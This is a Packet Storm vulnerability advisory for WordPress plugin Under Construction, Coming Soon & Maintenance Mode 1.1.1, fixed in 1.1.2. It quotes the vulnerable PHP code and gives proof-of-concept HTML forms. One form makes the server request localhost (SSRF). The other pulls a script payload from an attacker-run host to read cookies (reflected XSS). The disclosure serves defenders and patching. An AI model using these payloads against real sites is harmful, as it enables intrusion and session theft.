what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS

WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS
Posted Feb 26, 2021
Authored by Mr.F

WordPress Under Construction, Coming Soon, and Maintenance Mode plugin version 1.1.1 suffers from cross site scripting and server-side request forgery vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | d58e31b67c514efac3af6b08579604947f92e9e0dc780a874e27f3ac40619845

WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS

Change Mirror Download
There are SSRF and RXSS vulnerabilities in the WordPress plugin Under Construction, Coming Soon & Maintenance Mode version 1.1.1.
Both vulnerabilities are fixed in version 1.1.2:
https://wordpress.org/plugins/under-construction-maintenance-mode/#developers

[1] SSRF

Here is the relevant code from file includes/mc-get_lists.php:

$apiKey = $_POST['apiKey'];
$dataCenter = substr( $apiKey , strpos( $apiKey,'-' ) + 1 );
$url = 'https://'. $dataCenter. '.api.mailchimp.com/3.0/lists/';

The user submits the POST parameter "apiKey", and the code constructs a https URL from it without any sanitization and then
retrieves it with cURL, which leads to a SSRF bug.

POC:

<form method="post" action="http://attacked.server/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>

[2] RXSS

The code in the same file decodes JSON data fetched from the URL and then displays HTML code from the retrieved data without
any HTML escaping, leading to a reflected cross-site scripting issue where the payload is on a different server.

POC (attacked.server runs WordPress with a vulnerable version of this plugin, and hacker.server is run by the attacker):

<form method="post" action="http://attacked.server/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ucmm_mc_api" />
<input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" />
<input type="submit" value="Submit!" />
</form>

test.json:

[[{"id":"<script>alert(document.location);alert(document.cookie);<\/script>"}]]

// Mr.F in 2021
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close